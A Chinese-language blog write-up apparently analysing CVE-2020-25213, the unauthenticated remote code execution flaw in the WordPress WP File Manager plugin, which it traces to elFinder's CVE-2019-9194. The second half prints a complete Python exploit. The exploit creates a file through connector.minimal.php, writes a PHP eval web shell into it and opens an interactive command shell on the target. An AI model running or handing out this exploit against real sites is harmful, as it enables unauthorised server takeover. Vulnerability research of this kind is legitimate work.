WordPress文件管理器插件0day漏洞解析-CVE-2020-25213
昨天好多安全平台发布了WordPress插件WP File Manager的0day漏洞预警,然后我怀着好奇的心情解析了一波,花了些时间总算是解开了这个漏洞的神秘面纱。
从预警中可以看到漏洞在/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php,然后里面的 关键代码说实话我一开始没看懂,大概意思就是两个文件包含,然后下面run elFinder。
为了弄懂这个我下载了WP File Manager插件6.0版本:下载地址https://wordpress.org/plugins/wp-file-manager/advanced/
然后搭建了一个WordPress5.3.2,用phpstrom调试审计这个插件。
先看了两个文件包含,其中一个./vendor/autoload.php文件是不存在的,另一个autoload.php也没什么特别的东西。
然后往下看,在然后我被41行这个给误导了
因为断点调试到这一行,就会跳转到一个叫elFinderConnector.class.php的文件里,然后在这个文件160行发现exec()函数,我以为关键点就在这里,然后一直研究这个函数,然后并没有什么实际发现。。。
然后 我开始怀疑人生,可能是我太菜了吧,挖不到漏洞,别人都说了这里有0day我都挖不到,我也太菜了吧。。。
当我快要放弃的时候,我又看了一眼漏洞预警,其中几个字打开了我的思路,“这段代码来自elFinder项目”,这个意思是不是说WP File Manager插件使用了elFinder项目的代码,然后elFinder有漏洞。
于是,我又去百度elFinder漏洞
emmmmmmm。。。。。竟然真有漏洞,还是个CVE,CVE-2019-9194
漏洞原理啥的没细看,这里贴一下https://xz.aliyun.com/t/4444
然后我就找找有没有poc可以用,从exp-db上搜索elFinder,发现一个远程代码执行的链接,打开看看。
发现里面的存在漏洞的文件connector.php跟预警的文件connector.minimal.php挺像的,因为connector.minimal.php是示例文件所以是示例名,实际上正式项目要改成connector.php。应该是这个意思
然后就下载这个poc来验证我搭建的环境。
因为前面说了那个WP File Manager插件的作者直接搬运了elFinder的代码,所以连示例文件的名字都没有改,所以要稍微修改一下poc,将connector.php改成connector.minimal.php,然后将一句话改为eval,同时为方便调试将print的注释去掉
下面是漏洞验证环节:
可以看到在\wp-content\plugins\wp-file-manager\lib\files目录下成功生成了文件,内容为一句话。与漏洞预警中说明的目录是一样的。
以上操作都是在未登录的情况下,也就是说是未授权RCE。这里贴一下poc
#[+] Author: TUNISIAN CYBER
#[+] Title: elFinder 2 Remote Command Execution (Via File Creation) Vulnerability
#[+] Date: 06-05-2015
#[+] Vendor: https://github.com/Studio-42/elFinder
#[+] Type: WebAPP
#[+] Tested on: KaliLinux (Debian)
#[+] Twitter: @TCYB3R
#[+] Time Line:
# 03-05-2015:Vulnerability Discovered
# 03-05-2015:Contacted Vendor
# 04-05-2015:No response
# 05-05-2015:No response
# 06-05-2015:No response
# 06-05-2015:Vulnerability published
import cookielib, urllib
import urllib2
import sys
print"\x20\x20+-------------------------------------------------+"
print"\x20\x20| elFinder Remote Command Execution Vulnerability |"
print"\x20\x20| TUNISIAN CYBER |"
print"\x20\x20+-------------------------------------------------+"
host = raw_input('\x20\x20Vulnerable Site:')
evilfile = raw_input('\x20\x20EvilFileName:')
path=raw_input('\x20\x20elFinder s Path:')
tcyber = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(tcyber))
create = opener.open('http://'+host+'/'+path+'/php/connector.minimal.php?cmd=mkfile&name='+evilfile+'&target=l1_Lw')
print create.read()
payload = urllib.urlencode({
'cmd' : 'put',
'target' : 'l1_'+evilfile.encode('base64','strict'),
'content' : '<?php eval($_GET[\'cmd\']); ?>'
})
write = opener.open('http://'+host+'/'+path+'/php/connector.minimal.php', payload)
#print write.read()
print '\n'
while True:
try:
cmd = raw_input('[She3LL]:~# ')
execute = opener.open('http://'+host+'/'+path+'/admin/js/plugins/elfinder/files/'+evilfile+'?cmd='+urllib.quote(cmd))
reverse = execute.read()
print reverse;
if cmd.strip() == 'exit':
break
except Exception:
break
sys.exit()
这里更新pocsuit版本